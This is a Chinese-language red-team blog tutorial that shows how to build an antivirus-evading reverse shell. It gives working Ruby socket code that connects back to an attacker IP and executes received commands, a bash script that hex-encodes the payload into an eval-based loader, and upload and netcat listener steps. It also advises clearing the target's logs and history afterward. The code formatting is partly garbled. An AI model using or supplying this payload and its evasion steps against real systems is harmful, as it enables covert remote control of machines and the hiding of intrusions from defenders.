0x01 初识案例

在一次针对某金融机构的合规渗透测试中,我被要求测试内部网络的安全性。我的目标是通过一个已知漏洞进入他们的网络,最终访问到数据库服务器。为了保证攻击过程不被他们的安全设备检测到,我必须使用免杀技术对常规的Payload进行改造,确保它能够在目标环境中顺利执行。

在这个过程中,我将展示如何使用Ruby和Shell实现免杀Payload的生成与使用。

0x02 环境布置

为了模拟真实的攻击环境,我们需要搭建一个实验平台。首先,我们需要准备一个包含基础安全设备的网络环境,包括防病毒软件、EDR系统等。然后,我们需要一台作为攻击机的Linux终端,并安装以下工具:

  • Ruby:用于编写免杀Payload
  • Netcat:用于监听反弹Shell
  • Shell脚本:用于自动化Payload生成

攻击机配置:

  1. 安装Ruby:
  2. <pre><code class="language-bash"> sudo apt update sudo apt install ruby-full `

  1. 安装Netcat:
  2. `bash sudo apt install netcat `

  1. 准备一个目标Windows环境,确保其中安装有常见的安全软件以验证免杀效果。

0x03 Payload构造的艺术

在这一部分,我们将深入探讨如何通过构造特定的Payload来实现免杀效果。我们的目标是利用Ruby生成一个不会被杀毒软件识别的反弹Shell。

Ruby免杀Payload代码

我们将编写一个基础的Ruby脚本来生成Payload,并利用Shell脚本包装它以实现免杀效果。

黑客示意图 </code></pre>ruby

这是个简单的Ruby反弹Shell代码,当然为了免杀我们会进行混淆

require 'socket'

连接到攻击者的IP与端口

attack_ip = '192.168.1.100' attack_port = 4444

创建Socket连接

s = TCPSocket.new(attack_ip, attack_port)

捕获异常,确保连接稳定

begin while (cmd = s.gets) IO.popen(cmd, 'r') do |io| s.print(io.read) end end rescue s.close end <pre><code> Shell脚本混淆:

为了免杀,我们将通过Shell脚本对生成的Ruby代码进行混淆和包装。 </code></pre>bash

!/bin/bash

读取Payload并进行简单的混淆

payload=$(ruby -e 'puts ARGV[0].bytes.map { |b| b.to_s(16) }.join' "$(cat ruby_payload.rb)")

将混淆后的Payload封装到新的Ruby脚本

cat << EOF > final_payload.rb require 'socket'

attack_ip = '192.168.1.100' attack_port = 4444

payload_hex = '$payload'

解码并执行Payload

payload = payload_hex.scan(/../).map { |x| x.hex.chr }.join eval(payload) EOF `

0x04 绕过那些眼线

成功生成Payload后,下一步就是验证它在目标环境中的免杀效果。我们需要确保Payload在执行时不会被目标的安全软件检测和阻止。

免杀验证步骤

  1. 上传Payload:将生成的final_payload.rb上传到目标Windows机器。
  2. 运行Payload:在目标机器上通过命令提示符运行Payload:
  3. `bash ruby final_payload.rb `

  1. 监听反弹Shell:在攻击机上启动Netcat监听,捕获目标机器的Shell连接:
  2. `bash nc -lvnp 4444 `

  1. 验证免杀效果:确保目标机器上的安全软件未能检测到该Payload,并且反弹Shell连接成功。

黑客示意图

0x05 躲避侦测的花样

在实际攻击中,仅仅依靠Payload的免杀是远远不够的。我们还需考虑如何躲避网络流量监控和日志审计。

流量伪装与日志对抗

  1. 流量加密:可以在Payload中加入流量加密模块,使用简单的加密算法对数据进行加密传输。
  2. 日志清理:执行Payload后,立即清理目标机器上的执行历史和安全日志记录,确保动作不留痕迹。

0x06 个人经验分享

在长期的渗透测试和红队行动中,我发现免杀技术的发展日新月异。随着安全软件的不断更新,各种免杀技术也在不断进化。以下是一些个人经验:

  • 不断创新:免杀技术需要不断创新,不能依赖于单一的混淆方案。
  • 环境测试:在实际渗透中,务必在相似的环境中测试Payload,确保免杀效果。
  • 学习与交流:通过参加安全社区的讨论和会议,不断提升自身技术水平。

黑客示意图

合法声明:本文涉及的技术仅限于合法授权的安全测试,任何非法用途都将受到法律制裁。本文旨在为安全研究人员提供学习参考。